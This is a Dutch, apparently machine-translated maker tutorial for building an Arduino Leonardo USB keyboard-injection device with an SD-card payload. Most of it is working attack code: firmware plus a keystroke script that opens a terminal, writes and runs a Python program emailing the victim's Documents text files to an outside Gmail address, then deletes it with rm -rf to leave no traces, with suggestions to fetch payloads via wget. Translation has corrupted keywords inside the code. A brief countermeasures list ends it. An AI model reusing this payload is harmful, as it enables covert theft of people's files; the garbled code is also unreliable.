Arduino Keyboard Exploit Demo (HID) en preventie

Over dit project

In dit project gaan we een Arduino Leonardo gebruiken om een ​​mogelijke USB-aanval te simuleren met behulp van HID (humain interface device).

Ik heb deze tutorial niet gemaakt om hackers te helpen, maar om je echte gevaren te laten zien en hoe je jezelf tegen die gevaren kunt beschermen. Dit apparaat is niet een apparaat dat op elk platform voor hackers kan worden gebruikt, het is meer een proof of concept in detail.

We gaan het volgende leren:

• hoe arduino leonardo te gebruiken om toetsenbord te emuleren
• hoe gegevens van SD-kaarten te lezen
• hoe maak je een python-script dat bestanden scant en e-mailt
• hoe u uzelf kunt beschermen tegen USB-hacking-apparaten

Stap 1:Materialen

Onderdelen:

1. Arduino leonardo

2. micro-USB-kaartlezer

3. een paar GB SD-kaart

4. drukknop zoals dezeeen (VCC, aarde en signaal)

5. vrouwelijk-mannelijk en vrouwelijk-vrouwelijke startkabels

6. micro-USB-naar-USB-kabel

Stap 2:Het apparaat bouwen

Laten we vóór de bouwinstructie het werkingsprincipe eens bekijken:

Arduino leonardo kan zich gedragen als een human interface device (HID) en kan daarom muis en toetsenbord emuleren. We gaan deze functie gebruiken om een ​​terminal te openen (in UBUNTU linux) en een klein script te schrijven dat toegang zal krijgen tot de map /Documents in de thuismap van de gebruiker copy.txt-bestanden daar en deze naar iemand e-mailen. Als je meer details wilt weten, ga dan naar de volgende stap.

Omdat het een demo-apparaat is, zijn de dingen heel eenvoudig, we gaan niets solderen.

Bouwinstructies

Voordat we beginnen, controleer de bijgevoegde bestanden, ik heb fritzing-schema's en alle benodigde bestanden bijgevoegd

1. Monteer de componenten:

* steek de micro-USB-kabel in de arduino

* sluit de sleutelschakelaar aan op de arduino (aarde, vcc en uit module op D8)

* sluit de kaartlezer aan op de arduino (met behulp van ICSP-header). Arduino leonardo heeft de ICSP-header niet aangesloten op digitale pinnen, dus u moet de kaartlezer op de ICSP-header aansluiten. Enkele tekeningen van de ICSP vind je hier:https://learn.sparkfun.com/tutorials/installing-an.... Sluit de SS-pin aan op de digitale pin 10

2. verkrijg de arduino-code , je kunt mijn arduino-repository op github klonen:https://github.com/danionescu0/arduino en naar projects/keyboard_exploit gaan of het van onderaf ophalen:

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Commando ::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelecteer =10; int previousButtonState =HOOG; void setup () { pinMode (buttonPin, INPUT); Serieel.begin(9600); Toetsenbord.begin(); if (!SD.begin(chipSelect)) { Serial.println("Kaart mislukt, of niet aanwezig!"); opbrengst; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HOOG)) { sdFileToKeyboard(); Serial.println ("Geüpload!"); vertraging (500); } previousButtonState =buttonState;} void sdFileToKeyboard() { Bestand dataFile =SD.open(bestandsnaamOnCard); if (!dataFile) { Serial.println("De opgegeven bestandsnaam is niet aanwezig op de SD-kaart, controleer bestandsnaamOnCard!"); } String lijn; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(regel); sendToKeyboard(regel); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =regel; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); opbrengst; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Toetsenbord.println(regel); druk op Enter(); opbrengst; } Serial.println("Opdracht:"); int charPosition =commandStartingPoint.length(); int lineLength =lijn.lengte(); werklijn +=","; while (workingLine !="") { workingLine =workingLine.substring (charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String commando =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (opdracht!="") { Serial.print("Opdracht gevonden:");Serial.println(opdracht); Keyboard.press(getCommandCode(commando)); vertraging (vertraging tussen opdrachten); } } Toetsenbord.releaseAll(); delay(delayBetweenCommands);}nietig pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Slapen voor:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) {char textCharacters[2]; text.toCharArray(textCharacters, 2); char code =textCharacters[0]; code =(tekst =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL:code; code =(tekst =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :code; code =(tekst =="KEY_LEFT_ALT") ? KEY_LEFT_ALT:code; code =(tekst =="KEY_UP_ARROW") ? KEY_UP_ARROW:code; code =(tekst =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :code; code =(tekst =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :code; code =(tekst =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :code; code =(tekst =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI:code; code =(tekst =="KEY_BACKSPACE") ? KEY_BACKSPACE :code; code =(tekst =="KEY_TAB") ? KEY_TAB:code; code =(tekst =="KEY_RETURN") ? KEY_RETURN:code; code =(tekst =="KEY_ESC") ? KEY_ESC:code; code =(tekst =="KEY_INSERT") ? KEY_INSERT:code; code =(tekst =="KEY_DELETE") ? KEY_DELETE :code; code =(tekst =="KEY_PAGE_UP") ? KEY_PAGE_UP:code; code =(tekst =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN:code; code =(tekst =="KEY_HOME") ? KEY_HOME :code; code =(tekst =="KEY_END") ? KEY_END :code; code =(tekst =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :code; code =(tekst =="KEY_F1") ? KEY_F1 :code; code =(tekst =="KEY_F2") ? KEY_F2 :code; code =(tekst =="KEY_F3") ? KEY_F3 :code; code =(tekst =="KEY_F4") ? KEY_F4 :code; code =(tekst =="KEY_F5") ? KEY_F5 :code; code =(tekst =="KEY_F6") ? KEY_F6 :code; code =(tekst =="KEY_F7") ? KEY_F7 :code; code =(tekst =="KEY_F8") ? KEY_F8 :code; code =(tekst =="KEY_F9") ? KEY_F9 :code; code =(tekst =="KEY_F10") ? KEY_F10 :code; code =(tekst =="KEY_F11") ? KEY_F1 :code; code =(tekst =="KEY_F12") ? KEY_F2 :code;


 retourcode;} 

3. Upload de code naar de arduino, zorg ervoor dat u 9600 baudrate, de seriële poort en arduino leonardo selecteert

4. Formatteer de SD-kaart met FAT16 of FAT32

5. Als je de github-repo van boven hebt gekloond, kopiëren het hack.txt-bestand op de kaart, zo niet, dan wordt het bestand hieronder weergegeven:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom e-mail.MIMEMultipart import MIMEMultipartuit e-mail.MIMEBase import MIMIMEText import vanuit e-mail. email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Bestanden van gehackte computer:'header ='From {1}\nOnderwerp:{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg ['Aan'] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =onderwerp msg.attach(MIMEText(text)) voor bestand in bestanden:part =MIMEBase ('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'bijlage; bestandsnaam="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 

6. Bewerk de volgende regels:

smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

En vervang door uw e-mailadressen

7. Verwijder de kaart en plaats deze in de arduino-kaartlezer

Stap 3:Hoe het werkt in detail

Hoe de aanval zal werken:

1. Wanneer de knop wordt ingedrukt, zal de leonardo de sd-kaart lezen met behulp van een sd-kaartlezer. Een speciaal bestand met sleutels en toetsencombinatie zal op de kaart aanwezig zijn. De bestandsnaam is "hack.txt".

Het bestand kan onbewerkte tekst bevatten en het wordt zoals het is doorgegeven aan het toetsenbord.

Het kan ook speciale commando's bevatten zoals "Sleep::" en "Command::".

Een regel zoals:

Slaap::200 betekent een slaap van 200 ms

Een regel zoals:

Commando::KEY_LEFT_CTRL, KEY_LEFT_ALT, t betekent linker ctrl ingedrukt, linker alt ingedrukt, t ingedrukt en allemaal losgelaten

U kunt alle speciale toetsen hier controleren:https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo leest regel voor regel, interpreteert de opdrachten en emuleert de toetsen op het toetsenbord. Het bestand "hack.txt" bevat een combinatie van toetsen die het volgende doet (voor UBUNTU linux):

A. opent een terminal (CTRL + ALT + T)

B. opent een python-bestand om te maken met vi (schrijft "vi hack.py"

C. schrijft een python-script binnenin dat alle tekstbestanden in de thuismap van documenten verzamelt en deze naar een opgegeven Gmail-adres stuurt

D. voert het bestand op de achtergrond uit ("nohup python hack.py &")

e. verwijdert het bestand (rm -rf hack.py)

F. sluit de terminal (ALT + F4)

Dit hele ding draait in een paar seconden en laat geen sporen achter.

Verbeteringen en probleemoplossing

* Het is je misschien opgevallen dat nadat ik een terminal heb geopend, ik het python-bestand aan het schrijven ben. een betere manier om er naartoe te gaan, is door het ergens te hosten en het te downloaden met de opdracht "wget ​​some_url" en vervolgens de naam te wijzigen in hack.py

* We kunnen ook een kant-en-klare exploit downloaden of uitvoeren voor het beoogde besturingssysteem

* wifi kan aan de module worden toegevoegd en de hacks kunnen worden geüpload via WIFI

* je kunt arduino micro gebruiken (die veel kleiner is) en er exploitcode op insluiten (om het kleiner te maken)

Beperkingen

1. Omdat het gesimuleerde apparaat (toetsenbord en muis) geen feedback heeft, weten we niet wat er zal gebeuren na het geven van een commando dat betekent dat we vertragingen moeten gebruiken. Ik geef bijvoorbeeld een opdracht om de terminal te openen, maar ik weet niet wanneer deze daadwerkelijk zal worden geopend, dus ik moet een willekeurige vertraging opgeven om ervoor te zorgen dat de tekens die daarna worden getypt niet verloren gaan.

2. We kunnen toestemmingsproblemen tegenkomen, zoals geen toegang hebben tot de USB-poort of de toestemming om iets te installeren

3. De typsnelheid is niet zo geweldig op leonardo

4. Werkt alleen op een gericht besturingssysteem (in ons geval UBUNTU linux)

In de volgende stap zullen we proberen manieren te vinden om deze beperkingen te misbruiken om te voorkomen dat onze computer wordt gehackt

Stap 4:Tegenmaatregelen

1. USB-poorten uitschakelen

- voor Windows kun je deze tutorial bekijken:http://www.thewindowsclub.com/disable-enable-usb-w...

2. Witte lijst met USB-apparaten:

- voor Windows:https://superuser.com/questions/1152012/block-unbl...

2. Vergrendel je computer als je niet weg bent

3. Log niet in als root (vereist wachtwoorden om iets te installeren)

4. Blijf op de hoogte (automatische updates aan)

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10;const int buttonPin =8; const int chipSelecteer =10; int previousButtonState =HOOG; void setup () { pinMode (buttonPin, INPUT); Serieel.begin(9600); Toetsenbord.begin(); if (!SD.begin(chipSelect)) { Serial.println("Kaart mislukt, of niet aanwezig!"); opbrengst; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=previousButtonState) &&(buttonState ==HOOG)) { sdFileToKeyboard(); Serial.println ("Geüpload!"); vertraging (500); } previousButtonState =buttonState;} void sdFileToKeyboard() { Bestand dataFile =SD.open(bestandsnaamOnCard); if (!dataFile) { Serial.println("De opgegeven bestandsnaam is niet aanwezig op de SD-kaart, controleer bestandsnaamOnCard!"); } String lijn; while (dataFile.available()) { line =dataFile.readStringUntil('\n'); Serial.println(regel); sendToKeyboard(regel); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =regel; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(line); opbrengst; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Toetsenbord.println(regel); druk op Enter(); opbrengst; } Serial.println("Opdracht:"); int charPosition =commandStartingPoint.length(); int lineLength =lijn.lengte(); werklijn +=","; while (workingLine !="") { workingLine =workingLine.substring (charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); String commando =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (opdracht!="") { Serial.print("Opdracht gevonden:");Serial.println(opdracht); Keyboard.press(getCommandCode(commando)); vertraging (vertraging tussen opdrachten); } } Toetsenbord.releaseAll(); delay(delayBetweenCommands);}nietig pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Slapen voor:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) {char textCharacters[2]; text.toCharArray(textCharacters, 2); char code =textCharacters[0]; code =(tekst =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL:code; code =(tekst =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :code; code =(tekst =="KEY_LEFT_ALT") ? KEY_LEFT_ALT:code; code =(tekst =="KEY_UP_ARROW") ? KEY_UP_ARROW:code; code =(tekst =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :code; code =(tekst =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :code; code =(tekst =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :code; code =(tekst =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI:code; code =(tekst =="KEY_BACKSPACE") ? KEY_BACKSPACE :code; code =(tekst =="KEY_TAB") ? KEY_TAB:code; code =(tekst =="KEY_RETURN") ? KEY_RETURN:code; code =(tekst =="KEY_ESC") ? KEY_ESC:code; code =(tekst =="KEY_INSERT") ? KEY_INSERT:code; code =(tekst =="KEY_DELETE") ? KEY_DELETE :code; code =(tekst =="KEY_PAGE_UP") ? KEY_PAGE_UP:code; code =(tekst =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN:code; code =(tekst =="KEY_HOME") ? KEY_HOME :code; code =(tekst =="KEY_END") ? KEY_END :code; code =(tekst =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :code; code =(tekst =="KEY_F1") ? KEY_F1 :code; code =(tekst =="KEY_F2") ? KEY_F2 :code; code =(tekst =="KEY_F3") ? KEY_F3 :code; code =(tekst =="KEY_F4") ? KEY_F4 :code; code =(tekst =="KEY_F5") ? KEY_F5 :code; code =(tekst =="KEY_F6") ? KEY_F6 :code; code =(tekst =="KEY_F7") ? KEY_F7 :code; code =(tekst =="KEY_F8") ? KEY_F8 :code; code =(tekst =="KEY_F9") ? KEY_F9 :code; code =(tekst =="KEY_F10") ? KEY_F10 :code; code =(tekst =="KEY_F11") ? KEY_F1 :code; code =(tekst =="KEY_F12") ? KEY_F2 :code;


 retourcode;}

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osfrom os.path import expanduserfrom email.MIMEMultipart import MIMEMultipartsuite-mail.MIMEBase import MIMETextimport from email.MIMEText import from email.MIMEBase import import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Bestanden van gehackte computer'header ='Naar::{0}\{1}nF \nSubject :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['Van'] =smtp_user msg['To '] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =subject msg.attach(MIMEText(text)) voor bestand in bestanden:part =MIMEBase('application ', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attac hment; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4

Schema's

sketch_D4S1ftXkTU.fzz

Arduino-opslagplaats

De schets is binnen projects/keyboard_exploithttps://github.com/danionescu0/arduino